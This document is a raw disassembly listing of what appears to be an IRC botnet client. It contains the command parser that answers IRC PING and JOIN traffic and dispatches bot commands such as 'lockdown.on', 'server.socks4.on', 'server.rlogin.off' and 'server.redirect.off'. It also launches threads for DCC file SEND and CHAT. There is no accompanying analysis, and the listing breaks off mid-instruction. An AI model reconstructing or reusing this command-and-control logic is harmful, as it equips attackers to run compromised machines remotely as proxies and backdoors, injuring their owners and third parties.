sub_413630 dec esi lea eax, [ebp-0F9Ch] push esi push dword ptr [ebp+8] push eax call sub_414DD0 lea eax, [ebp-0F9Ch] push offset asc_42B904 ; " :" push eax call sub_413B80 mov [ebp-0Ch], eax lea eax, [ebp-0F9Ch] push esi push eax lea eax, [ebp-119Ch] push eax call sub_414DD0 mov esi, offset asc_422D6C ; " " lea eax, [ebp-119Ch] push esi push eax call sub_414D28 add esp, 34h mov [ebp-94h], eax lea edi, [ebp-90h] mov dword ptr [ebp-0A8h], 1Fh loc_40B42E: ; CODE XREF: seg000:0040B442j push esi push ebx call sub_414D28 mov [edi], eax pop ecx add edi, 4 dec dword ptr [ebp-0A8h] pop ecx jnz short loc_40B42E mov esi, [ebp-94h] cmp esi, ebx jz loc_40B71F cmp [ebp-90h], ebx jz loc_40B71F push 100h lea eax, [ebp-0A14h] push ebx push eax call sub_413630 add esp, 0Ch lea ecx, [ebp-18h] push 1Fh pop edx push 1 pop edi loc_40B47C: ; CODE XREF: seg000:0040B4AEj mov eax, [ecx] cmp eax, ebx jz short loc_40B4A8 cmp byte ptr [eax], 2Dh jnz short loc_40B4B0 cmp [eax+2], bl jnz short loc_40B4B0 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov byte ptr [ebp+esi-0A14h], 1 mov esi, [ebp-94h] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_40B4A8: ; CODE XREF: seg000:0040B480j dec edx sub ecx, 4 cmp edx, ebx jge short loc_40B47C loc_40B4B0: ; CODE XREF: seg000:0040B485j ; seg000:0040B48Aj cmp [ebp-9A1h], bl jz short loc_40B4BB mov [ebp-8], edi loc_40B4BB: ; CODE XREF: seg000:0040B4B6j cmp [ebp-9A6h], bl jz short loc_40B4C9 mov [ebp-8], ebx mov [ebp-4], edi loc_40B4C9: ; CODE XREF: seg000:0040B4C1j cmp byte ptr [esi], 0Ah jz short loc_40B503 push 7Fh lea eax, [ebp-0A94h] push esi push eax call sub_414DD0 lea eax, [esi+1] push 17h push eax lea eax, [ebp-0C4h] push eax call sub_414DD0 lea eax, [ebp-0C4h] push offset asc_42B900 ; "!" push eax call sub_414D28 add esp, 20h loc_40B503: ; CODE XREF: seg000:0040B4CCj push esi push offset aPing ; "PING" call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40B554 push dword ptr [ebp-90h] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push dword ptr [ebp+0Ch] call sub_41106A mov eax, [ebp+28h] add esp, 0Ch cmp [eax], ebx jnz loc_40B5F8 push dword ptr [ebp+14h] push dword ptr [ebp+10h] push offset aJoinSS ; "JOIN %s %s\r\n" push dword ptr [ebp+0Ch] call sub_41106A add esp, 10h jmp loc_40B5F8 ; --------------------------------------------------------------------------- loc_40B554: ; CODE XREF: seg000:0040B512j mov esi, [ebp-90h] push esi push offset a001 ; "001" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_411024 push esi push offset a005 ; "005" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_411024 push esi push offset a302 ; "302" call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40B5BF push offset a@ ; "@" push dword ptr [ebp-88h] call sub_413B80 pop ecx cmp eax, ebx pop ecx jz short loc_40B5F8 inc eax push 9Fh push eax push dword ptr [ebp+24h] call sub_414DD0 add esp, 0Ch jmp short loc_40B5F8 ; --------------------------------------------------------------------------- loc_40B5BF: ; CODE XREF: seg000:0040B593j push esi push offset a433 ; "433" call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40B5FF push ebx push ds:dword_45DCFC push ds:dword_428244 push dword ptr [ebp+18h] call sub_412797 push dword ptr [ebp+18h] push offset aNickS ; "NICK %s\r\n" push dword ptr [ebp+0Ch] call sub_41106A add esp, 1Ch loc_40B5F8: ; CODE XREF: seg000:0040B533j ; seg000:0040B54Fj ... mov eax, edi jmp loc_40B722 ; --------------------------------------------------------------------------- loc_40B5FF: ; CODE XREF: seg000:0040B5CEj mov esi, [ebp+20h] mov dword ptr [ebp-0A8h], 2 mov edi, 80h loc_40B611: ; CODE XREF: seg000:0040B636j lea eax, [ebp-0A94h] push eax push esi call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40B62E mov dword ptr [ebp-98h], 1 loc_40B62E: ; CODE XREF: seg000:0040B622j add esi, edi dec dword ptr [ebp-0A8h] jnz short loc_40B611 mov esi, [ebp-90h] push esi push offset aKick ; "KICK" call sub_4139D0 pop ecx test eax, eax pop ecx jnz loc_40B727 mov esi, [ebp+20h] mov dword ptr [ebp+2Ch], 2 loc_40B65D: ; CODE XREF: seg000:0040B6EAj cmp [esi], bl jz loc_40B6E5 push 7Fh lea eax, [ebp-0A94h] push esi push eax call sub_414DD0 lea eax, [ebp-0C4h] add esp, 0Ch test eax, eax jz short loc_40B6E5 cmp [ebp-88h], ebx jz short loc_40B6E5 push dword ptr [ebp-88h] lea eax, [ebp-0C4h] push eax call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40B6E5 lea eax, [ebp-0C4h] mov [esi], bl push eax lea eax, [ebp-2C8h] push offset dword_42B880 push eax call sub_4135AD lea eax, [ebp-2C8h] push eax lea eax, [ebp-0C4h] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push dword ptr [ebp+0Ch] call sub_41106A lea eax, [ebp-2C8h] push eax call sub_409615 add esp, 20h loc_40B6E5: ; CODE XREF: seg000:0040B65Fj ; seg000:0040B67Fj ... add esi, edi dec dword ptr [ebp+2Ch] jnz loc_40B65D push dword ptr [ebp-88h] push dword ptr [ebp+18h] call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40B71F push dword ptr [ebp+14h] mov eax, [ebp+28h] push dword ptr [ebp+10h] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_40B714: ; CODE XREF: seg000:0040B970j ; seg000:0040BCC7j push dword ptr [ebp+0Ch] call sub_41106A loc_40B71C: ; CODE XREF: seg000:0041055Dj ; seg000:0041057Aj ... add esp, 10h loc_40B71F: ; CODE XREF: seg000:0040B3B6j ; seg000:0040B44Cj ... push 1 loc_40B721: ; CODE XREF: seg000:00410AA4j pop eax loc_40B722: ; CODE XREF: seg000:0040B5FAj ; seg000:0040D4BFj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40B727: ; CODE XREF: seg000:0040B64Dj push esi push offset aNick ; "NICK" call sub_4139D0 pop ecx test eax, eax pop ecx jnz loc_40B87D mov eax, [ebp-8Ch] mov esi, [ebp+20h] inc eax mov dword ptr [ebp+8], 2 mov [ebp+2Ch], eax loc_40B750: ; CODE XREF: seg000:0040B7A2j lea eax, [ebp-0A94h] push eax push esi call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40B79D lea eax, [ebp-0A94h] push 21h push eax call sub_415110 pop ecx cmp eax, ebx pop ecx mov [ebp+24h], eax jz short loc_40B79D push dword ptr [ebp+2Ch] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_413CC0 push dword ptr [ebp+24h] push edi call sub_413CD0 add esp, 10h mov edi, 80h loc_40B79D: ; CODE XREF: seg000:0040B761j ; seg000:0040B778j add esi, edi dec dword ptr [ebp+8] jnz short loc_40B750 lea eax, [ebp-0C4h] test eax, eax jz loc_40B71F cmp [ebp+2Ch], ebx jz loc_40B71F push dword ptr [ebp+18h] lea eax, [ebp-0C4h] push eax call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40B7E5 push 0Fh push dword ptr [ebp+2Ch] push dword ptr [ebp+18h] call sub_414DD0 add esp, 0Ch jmp loc_40B71F ; --------------------------------------------------------------------------- loc_40B7E5: ; CODE XREF: seg000:0040B7CEj mov edi, [ebp+20h] xor esi, esi loc_40B7EA: ; CODE XREF: seg000:0040B80Bj cmp [edi], bl jz short loc_40B801 lea eax, [ebp-0A94h] push eax push edi call sub_4139D0 pop ecx test eax, eax pop ecx jz short loc_40B812 loc_40B801: ; CODE XREF: seg000:0040B7ECj inc esi add edi, 80h cmp esi, 2 jl short loc_40B7EA jmp loc_40B71F ; --------------------------------------------------------------------------- loc_40B812: ; CODE XREF: seg000:0040B7FFj lea eax, [ebp-0A94h] push 21h push eax call sub_415110 pop ecx cmp eax, ebx pop ecx mov [ebp+8], eax jz loc_40B71F push eax call sub_413DB0 push dword ptr [ebp+2Ch] mov edi, eax call sub_413DB0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_40B71F push dword ptr [ebp+8] shl esi, 7 push dword ptr [ebp+2Ch] add esi, [ebp+20h] push offset aSS ; ":%s%s" push esi call sub_4135AD push ebx lea eax, [ebp-4ACh] push ebx push eax push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] call sub_4110B0 add esp, 24h jmp loc_40B71F ; --------------------------------------------------------------------------- loc_40B87D: ; CODE XREF: seg000:0040B736j push esi push offset aPart ; "PART" call sub_4139D0 pop ecx test eax, eax pop ecx jz short loc_40B89F push esi push offset aQuit ; "QUIT" call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40B8C6 loc_40B89F: ; CODE XREF: seg000:0040B88Cj mov edi, [ebp+20h] xor esi, esi loc_40B8A4: ; CODE XREF: seg000:0040B8C4j cmp [edi], bl jz short loc_40B8BA push dword ptr [ebp-94h] push edi call sub_4139D0 pop ecx test eax, eax pop ecx jz short loc_40B914 loc_40B8BA: ; CODE XREF: seg000:0040B8A6j inc esi add edi, 80h cmp esi, 2 jl short loc_40B8A4 loc_40B8C6: ; CODE XREF: seg000:0040B89Dj push dword ptr [ebp-90h] push offset a353 ; "353" call sub_4139D0 pop ecx test eax, eax pop ecx jnz loc_40B975 push dword ptr [ebp-84h] push dword ptr [ebp+10h] call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40B8FD mov eax, [ebp+28h] mov dword ptr [eax], 1 loc_40B8FD: ; CODE XREF: seg000:0040B8F2j push dword ptr [ebp-84h] push offset dword_42B820 loc_40B908: ; CODE XREF: seg000:004108D6j ; seg000:00410C4Fj ... call sub_409689 pop ecx loc_40B90E: ; CODE XREF: seg000:00410D64j pop ecx jmp loc_40B71F ; --------------------------------------------------------------------------- loc_40B914: ; CODE XREF: seg000:0040B8B8j mov eax, [ebp+20h] shl esi, 7 mov [esi+eax], bl lea eax, [ebp-0C4h] push eax lea eax, [ebp-2C8h] push offset dword_42B7EC push eax call sub_4135AD lea eax, [ebp-2C8h] push eax call sub_409615 push dword ptr [ebp-90h] push offset aPart ; "PART" call sub_4139D0 add esp, 18h test eax, eax jnz loc_40B71F lea eax, [ebp-2C8h] push eax mov eax, [ebp-94h] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_40B714 ; --------------------------------------------------------------------------- loc_40B975: ; CODE XREF: seg000:0040B8DAj push dword ptr [ebp-90h] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_4139D0 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_40B9C9 push dword ptr [ebp-90h] push edi call sub_4139D0 pop ecx test eax, eax pop ecx jz short loc_40B9C9 push dword ptr [ebp-90h] push offset dword_42B7D8 call sub_4139D0 pop ecx test eax, eax pop ecx jnz loc_410E98 cmp ds:dword_428234, ebx jz loc_410E98 loc_40B9C9: ; CODE XREF: seg000:0040B98Fj ; seg000:0040B9A1j push dword ptr [ebp-90h] push esi call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40BB4F push dword ptr [ebp-90h] push edi call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40BB4F mov eax, [ebp-88h] inc dword ptr [ebp-84h] push 4 mov [ebp-8Ch], eax pop esi mov [ebp-0ACh], esi loc_40BA10: ; CODE XREF: seg000:0040BC0Bj ; seg000:0040BC9Cj ... shl esi, 2 mov eax, [ebp+esi-94h] lea edi, [ebp+esi-94h] push eax push offset dword_42B7D0 mov [ebp+10h], eax call sub_4139D0 pop ecx test eax, eax pop ecx jnz loc_40BE49 push dword ptr [ebp+esi-90h] push offset aSend_0 ; "SEND" call sub_4139D0 pop ecx test eax, eax pop ecx jnz loc_40BD07 cmp [ebp-98h], ebx jz loc_40BCDD push dword ptr [ebp+esi-8Ch] mov edi, offset aS_1 ; "%s" lea eax, [ebp-6FCh] push edi push eax call sub_4135AD push dword ptr [ebp+esi-88h] lea eax, [ebp-710h] push edi push eax call sub_4135AD push dword ptr [ebp+esi-84h] call sub_413B1F mov [ebp-578h], eax mov eax, [ebp+0Ch] mov [ebp-718h], eax lea eax, [ebp-0C4h] push 7Fh push eax lea eax, [ebp-5F8h] push eax call sub_414DD0 mov eax, [ebp-4] mov [ebp-570h], eax mov eax, [ebp-8] mov [ebp-56Ch], eax lea eax, [ebp-5F8h] push eax lea eax, [ebp-6FCh] push eax lea eax, [ebp-2C8h] push offset dword_42B788 push eax call sub_4135AD push ebx lea eax, [ebp-2C8h] push 12h push eax call sub_413059 add esp, 44h mov [ebp-574h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-718h] push ebx push eax push offset sub_409F42 push ebx push ebx call ds:dword_41F06C ; CreateThread mov ecx, [ebp-574h] imul ecx, 234h cmp eax, ebx mov ds:dword_4348AC[ecx], eax jz loc_40BCCC loc_40BB39: ; CODE XREF: seg000:0040BB4Dj cmp [ebp-568h], ebx jnz loc_40BCFF push 32h call ds:dword_41F058 ; Sleep jmp short loc_40BB39 ; --------------------------------------------------------------------------- loc_40BB4F: ; CODE XREF: seg000:0040B9D9j ; seg000:0040B9EFj push dword ptr [ebp-90h] push edi call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40BB68 mov dword ptr [ebp-4], 1 loc_40BB68: ; CODE XREF: seg000:0040BB5Fj cmp [ebp-8Ch], ebx jz loc_40B71F push (offset loc_4229CF+1) push dword ptr [ebp-8Ch] call sub_413B80 pop ecx test eax, eax pop ecx jz short loc_40BB8F cmp [ebp-4], ebx jz short loc_40BB9B loc_40BB8F: ; CODE XREF: seg000:0040BB88j lea eax, [ebp-0C4h] mov [ebp-8Ch], eax loc_40BB9B: ; CODE XREF: seg000:0040BB8Dj cmp [ebp-88h], ebx jz loc_40B71F inc dword ptr [ebp-88h] jz short loc_40BBE7 cmp [ebp+18h], ebx jz short loc_40BBE7 lea eax, [ebp-564h] push eax call sub_413DB0 push eax lea eax, [ebp-564h] push dword ptr [ebp-88h] push eax call sub_414F60 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp-0ACh], esi jmp short loc_40BBED ; --------------------------------------------------------------------------- loc_40BBE7: ; CODE XREF: seg000:0040BBADj ; seg000:0040BBB2j mov esi, [ebp-0ACh] loc_40BBED: ; CODE XREF: seg000:0040BBE5j mov edi, [ebp+esi*4-94h] cmp edi, ebx jz loc_40B71F push edi push offset dword_42B77C call sub_4139D0 pop ecx test eax, eax pop ecx jnz loc_40BA10 mov ecx, [ebp-8Ch] cmp byte ptr [ecx], 23h jz short loc_40BC8D mov eax, ds:dword_45DD0C mov eax, ds:off_4282FC[eax*4] cmp [eax], bl jz short loc_40BC8D push eax push ecx push offset dword_42B760 push dword ptr [ebp+0Ch] call sub_41106A lea eax, [ebp-0C4h] push eax lea eax, [ebp-2C8h] push offset aSHasJustVersio ; "%s has just versioned me." push eax call sub_4135AD lea eax, [ebp-2C8h] push eax call sub_409615 add esp, 20h cmp [ebp-98h], ebx jnz loc_40B71F push ebx lea eax, [ebp-2C8h] push 1 push eax push offset dword_45DC14 loc_40BC7D: ; CODE XREF: seg000:00410651j push dword ptr [ebp+0Ch] call sub_4110B0 add esp, 14h jmp loc_40B71F ; --------------------------------------------------------------------------- loc_40BC8D: ; CODE XREF: seg000:0040BC1Aj ; seg000:0040BC2Aj push edi push offset dword_42B73C call sub_4139D0 pop ecx test eax, eax pop ecx jnz loc_40BA10 mov eax, [ebp+esi*4-90h] cmp eax, ebx jz loc_40BA10 mov ecx, [ebp-8Ch] cmp byte ptr [ecx], 23h jz loc_40BA10 push eax push ecx push offset dword_42B724 jmp loc_40B714 ; --------------------------------------------------------------------------- loc_40BCCC: ; CODE XREF: seg000:0040BB33j call ds:dword_41F068 ; RtlGetLastWin32Error push eax push offset dword_42B6D8 jmp loc_40BE35 ; --------------------------------------------------------------------------- loc_40BCDD: ; CODE XREF: seg000:0040BA5Aj lea eax, [ebp-0C4h] push eax lea eax, [ebp-2C8h] push dword ptr [ebp+esi-8Ch] push offset dword_42B684 push eax call sub_4135AD add esp, 10h loc_40BCFF: ; CODE XREF: seg000:0040BB3Fj ; seg000:0040BDFDj ... push 1 pop esi jmp loc_40D4B0 ; --------------------------------------------------------------------------- loc_40BD07: ; CODE XREF: seg000:0040BA4Ej push dword ptr [ebp+esi-90h] push offset aChat ; "CHAT" call sub_4139D0 pop ecx test eax, eax pop ecx jnz loc_40BE5F cmp [ebp-98h], ebx jz loc_40BE29 push 13h call sub_4132A1 test eax, eax pop ecx jnz loc_40BE1B push dword ptr [ebp+esi-88h] lea eax, [ebp-710h] push offset aS_1 ; "%s" push eax call sub_4135AD push dword ptr [ebp+esi-84h] call sub_413B1F mov [ebp-578h], eax mov eax, [ebp+0Ch] mov [ebp-718h], eax lea eax, [ebp-0C4h] push 7Fh push eax lea eax, [ebp-5F8h] push eax call sub_414DD0 mov eax, [ebp-4] mov [ebp-570h], eax mov eax, [ebp-8] mov [ebp-56Ch], eax lea eax, [ebp-0C4h] push eax lea eax, [ebp-2C8h] push offset dword_42B648 push eax call sub_4135AD push ebx lea eax, [ebp-2C8h] push 13h push eax call sub_413059 add esp, 34h mov [ebp-574h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-718h] push ebx push eax push offset loc_4099DF push ebx push ebx call ds:dword_41F06C ; CreateThread mov ecx, [ebp-574h] imul ecx, 234h cmp eax, ebx mov ds:dword_4348AC[ecx], eax jz short loc_40BE0D loc_40BDF7: ; CODE XREF: seg000:0040BE0Bj cmp [ebp-568h], ebx jnz loc_40BCFF push 32h call ds:dword_41F058 ; Sleep jmp short loc_40BDF7 ; --------------------------------------------------------------------------- loc_40BE0D: ; CODE XREF: seg000:0040BDF5j call ds:dword_41F068 ; RtlGetLastWin32Error push eax push offset dword_42B600 jmp short loc_40BE35 ; --------------------------------------------------------------------------- loc_40BE1B: ; CODE XREF: seg000:0040BD38j lea eax, [ebp-0C4h] push eax push offset dword_42B5BC jmp short loc_40BE35 ; --------------------------------------------------------------------------- loc_40BE29: ; CODE XREF: seg000:0040BD28j lea eax, [ebp-0C4h] push eax push offset dword_42B578 loc_40BE35: ; CODE XREF: seg000:0040BCD8j ; seg000:0040BE19j ... lea eax, [ebp-2C8h] push eax call sub_4135AD add esp, 0Ch jmp loc_40BCFF ; --------------------------------------------------------------------------- loc_40BE49: ; CODE XREF: seg000:0040BA33j mov eax, [ebp+10h] lea ecx, [eax+1] mov al, [eax] cmp al, ds:byte_42823C mov [edi], ecx jnz loc_40B71F loc_40BE5F: ; CODE XREF: seg000:0040BD1Cj mov edi, [edi] push edi push offset aNewshit ; "newshit" mov [ebp+10h], edi call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410EA0 push edi push offset aHi_0 ; "hi" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410EA0 cmp [ebp-98h], ebx jnz short loc_40BEB0 push dword ptr [ebp-90h] push offset dword_42B7D8 call sub_4139D0 pop ecx test eax, eax pop ecx jnz loc_410E98 loc_40BEB0: ; CODE XREF: seg000:0040BE94j cmp [ebp+30h], ebx jnz loc_410E98 xor edi, edi cmp ds:dword_4283B8, ebx jle loc_40C05C mov dword ptr [ebp+28h], offset dword_433B18 loc_40BECE: ; CODE XREF: seg000:0040BEEDj push dword ptr [ebp+10h] push dword ptr [ebp+28h] call sub_4139D0 pop ecx test eax, eax pop ecx jz short loc_40BEF4 add dword ptr [ebp+28h], 0B8h inc edi cmp edi, ds:dword_4283B8 jl short loc_40BECE jmp loc_40C05C ; --------------------------------------------------------------------------- loc_40BEF4: ; CODE XREF: seg000:0040BEDDj push offset asc_42B904 ; " :" push dword ptr [ebp+8] call sub_413B80 pop ecx cmp eax, ebx pop ecx jz loc_40B71F mov cl, ds:byte_42823C imul edi, 0B8h mov [eax+2], cl mov cl, ds:byte_42823C mov [eax+3], cl lea ecx, dword_433B30[edi] push 9Fh add eax, 4 push ecx push eax call sub_414DD0 lea eax, [ebp+esi-54h] add esp, 0Ch mov dword ptr [ebp+28h], 0Fh mov [ebp+14h], eax loc_40BF49: ; CODE XREF: seg000:0040BFF1j push dword ptr [ebp+28h] lea eax, [ebp-0A4h] push offset aD_0 ; "$%d-" push eax call sub_4135AD lea eax, [ebp-0A4h] push eax push dword ptr [ebp+8] call sub_413B80 add esp, 14h test eax, eax jz short loc_40BFB5 mov eax, [ebp+14h] cmp [eax], ebx jz short loc_40BFB5 lea eax, dword_433B18[edi] push eax call sub_413DB0 add [ebp-0Ch], eax pop ecx jz short loc_40BFE7 mov eax, [ebp+14h] push dword ptr [eax-4] push dword ptr [ebp-0Ch] call sub_413B80 pop ecx cmp eax, ebx pop ecx jz short loc_40BFE7 push eax lea eax, [ebp-0A4h] push eax push dword ptr [ebp+8] call sub_407E52 add esp, 0Ch jmp short loc_40BFE7 ; --------------------------------------------------------------------------- loc_40BFB5: ; CODE XREF: seg000:0040BF71j ; seg000:0040BF78j mov eax, [ebp+14h] cmp [eax], ebx jnz short loc_40BFE7 lea eax, [ebp-0A4h] push 2 push eax lea eax, [ebp-14h] push eax call sub_414DD0 lea eax, [ebp-14h] mov [ebp-12h], bl push eax lea eax, [ebp-0A4h] push eax push dword ptr [ebp+8] call sub_407E52 add esp, 18h loc_40BFE7: ; CODE XREF: seg000:0040BF8Aj ; seg000:0040BF9Ej ... dec dword ptr [ebp+28h] sub dword ptr [ebp+14h], 4 cmp [ebp+28h], ebx jg loc_40BF49 lea eax, [ebp+esi-54h] mov dword ptr [ebp+28h], 10h mov edi, eax loc_40C004: ; CODE XREF: seg000:0040C050j push dword ptr [ebp+28h] lea eax, [ebp-0A4h] push offset aD ; "$%d" push eax call sub_4135AD lea eax, [ebp-0A4h] push eax push dword ptr [ebp+8] call sub_413B80 add esp, 14h test eax, eax jz short loc_40C047 mov eax, [edi] cmp eax, ebx jz short loc_40C047 push eax lea eax, [ebp-0A4h] push eax push dword ptr [ebp+8] call sub_407E52 add esp, 0Ch loc_40C047: ; CODE XREF: seg000:0040C02Cj ; seg000:0040C032j dec dword ptr [ebp+28h] sub edi, 4 cmp [ebp+28h], ebx jg short loc_40C004 mov dword ptr [ebp-0C8h], 1 loc_40C05C: ; CODE XREF: seg000:0040BEC1j ; seg000:0040BEEFj mov eax, [ebp+10h] mov al, [eax] cmp al, ds:byte_42823C jz short loc_40C075 cmp [ebp-0C8h], ebx jz loc_40C25A loc_40C075: ; CODE XREF: seg000:0040C067j push dword ptr [ebp+18h] mov edi, [ebp+8] push offset aMe_0 ; "$me" push edi call sub_407E52 lea eax, [ebp-0C4h] push eax push offset aUser_2 ; "$user" push edi call sub_407E52 push dword ptr [ebp-8Ch] push offset aChan ; "$chan" push edi call sub_407E52 push ebx push ebx lea eax, [ebp-0A4h] push 2 push eax call sub_412797 push eax push offset aRndnick ; "$rndnick" push edi call sub_407E52 add esp, 40h push dword ptr [ebp+1Ch] push offset aServer_0 ; "$server" push edi call sub_407E52 mov edi, offset aChr ; "$chr(" push edi push dword ptr [ebp+8] call sub_413B80 add esp, 14h loc_40C0E7: ; CODE XREF: seg000:0040C1D3j test eax, eax jz loc_40C1D8 push edi push dword ptr [ebp+8] call sub_413B80 mov [ebp+18h], eax add eax, 5 push 4 push eax lea eax, [ebp-0A4h] push eax call sub_414DD0 lea eax, [ebp-0A4h] push offset asc_42B52C ; ")" push eax call sub_414D28 add esp, 1Ch cmp byte ptr [ebp-0A4h], 30h jl short loc_40C133 cmp byte ptr [ebp-0A4h], 39h jle short loc_40C149 loc_40C133: ; CODE XREF: seg000:0040C128j push 3 lea eax, [ebp-0A4h] push offset a63 ; "63" push eax call sub_414DD0 add esp, 0Ch loc_40C149: ; CODE XREF: seg000:0040C131j lea eax, [ebp-0A4h] push eax call sub_413B1F test eax, eax pop ecx jle short loc_40C16C lea eax, [ebp-0A4h] push eax call sub_413B1F pop ecx mov [ebp-14h], al jmp short loc_40C17D ; --------------------------------------------------------------------------- loc_40C16C: ; CODE XREF: seg000:0040C158j call sub_413609 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp-14h], dl loc_40C17D: ; CODE XREF: seg000:0040C16Aj lea eax, [ebp-0A4h] mov [ebp-13h], bl push eax call sub_413DB0 mov [ebp+28h], eax push 0Ch lea eax, [ebp-0A4h] push ebx push eax call sub_413630 mov eax, [ebp+28h] add eax, 6 push eax lea eax, [ebp-0A4h] push dword ptr [ebp+18h] push eax call sub_414DD0 lea eax, [ebp-14h] push eax lea eax, [ebp-0A4h] push eax push dword ptr [ebp+8] call sub_407E52 push edi push dword ptr [ebp+8] call sub_413B80 add esp, 30h jmp loc_40C0E7 ; --------------------------------------------------------------------------- loc_40C1D8: ; CODE XREF: seg000:0040C0E9j mov edi, 1FFh lea eax, [ebp-0F9Ch] push edi push dword ptr [ebp+8] push eax call sub_414DD0 lea eax, [ebp-0F9Ch] push edi push eax lea eax, [ebp-119Ch] push eax call sub_414DD0 lea eax, [ebp-119Ch] push offset asc_422D6C ; " " push eax call sub_414D28 add esp, 20h mov [ebp-94h], eax lea edi, [ebp-90h] mov dword ptr [ebp+18h], 1Fh loc_40C228: ; CODE XREF: seg000:0040C23Dj push offset asc_422D6C ; " " push ebx call sub_414D28 mov [edi], eax pop ecx add edi, 4 dec dword ptr [ebp+18h] pop ecx jnz short loc_40C228 mov ecx, [ebp+esi-94h] lea eax, [ebp+esi-94h] cmp ecx, ebx jz loc_40B71F add ecx, 3 mov [eax], ecx loc_40C25A: ; CODE XREF: seg000:0040C06Fj mov edi, [ebp+esi-94h] push edi push offset aEnz_rndnick ; "enz.rndnick" mov [ebp+10h], edi call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410E4B push edi push offset aEnz_rn ; "enz.rn" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410E4B push edi push offset aEnz_endsess ; "enz.endsess" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410E29 push edi push offset aEnz_d ; "enz.d" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410E29 push edi push offset aEnz_logout ; "enz.logout" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410D87 push edi push offset aEnz_lo ; "enz.lo" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410D87 push edi push offset aEnz_version ; "enz.version" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410D69 push edi push offset aEnz_ver ; "enz.ver" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410D69 push edi push offset aLockdown_on ; "lockdown.on" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410C54 push edi push offset aLd_on ; "ld.on" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410C54 push edi push offset aLockdown_off ; "lockdown.off" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410C54 push edi push offset aLd_off ; "ld.off" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410C54 push edi push offset aServer_socks4_ ; "server.socks4.on" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410B32 push edi push offset aServer_s4_on ; "server.s4.on" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410B32 push edi push offset aServer_socks_0 ; "server.socks4.off" call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40C3CA push dword ptr [ebp+esi-90h] push 11h push offset aServer ; "Server" push offset dword_42B45C loc_40C3AE: ; CODE XREF: seg000:0040C3EEj ; seg000:0040C414j ... push dword ptr [ebp-8] push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4132E7 add esp, 20h jmp loc_40B71F ; --------------------------------------------------------------------------- loc_40C3CA: ; CODE XREF: seg000:0040C399j push edi push offset aServer_rlogin_ ; "server.rlogin.off" call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40C3F0 push dword ptr [ebp+esi-90h] push 6 push offset aServer ; "Server" push offset dword_42B438 jmp short loc_40C3AE ; --------------------------------------------------------------------------- loc_40C3F0: ; CODE XREF: seg000:0040C3D9j push edi push offset dword_42B428 call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40C416 push dword ptr [ebp+esi-90h] push 3 push offset aServer ; "Server" push offset dword_42B41C jmp short loc_40C3AE ; --------------------------------------------------------------------------- loc_40C416: ; CODE XREF: seg000:0040C3FFj push edi push offset dword_42B414 call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40C43F push dword ptr [ebp+esi-90h] push 1Ch push offset dword_42B408 push offset dword_42B3FC jmp loc_40C3AE ; --------------------------------------------------------------------------- loc_40C43F: ; CODE XREF: seg000:0040C425j push edi push offset aServer_redirec ; "server.redirect.off" call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40C468 push dword ptr [ebp+esi-90h] push 10h push offset dword_42B3D8 push offset dword_42B3C8 jmp loc_40C3AE ; --------------------------------------------------------------------------- loc_40C468: ; CODE XREF: seg000:0040C44Ej push edi push offset dword_42B3BC call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40C491 push dword ptr [ebp+esi-90h] push 0Ah push offset dword_42B3B0 push offset dword_42B3A4 jmp loc_40C3AE ; --------------------------------------------------------------------------- loc_40C491: ; CODE XREF: seg000:0040C477j push edi push offset dword_42B394 call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40C4BA push dword ptr [ebp+esi-90h] push 0Bh push offset 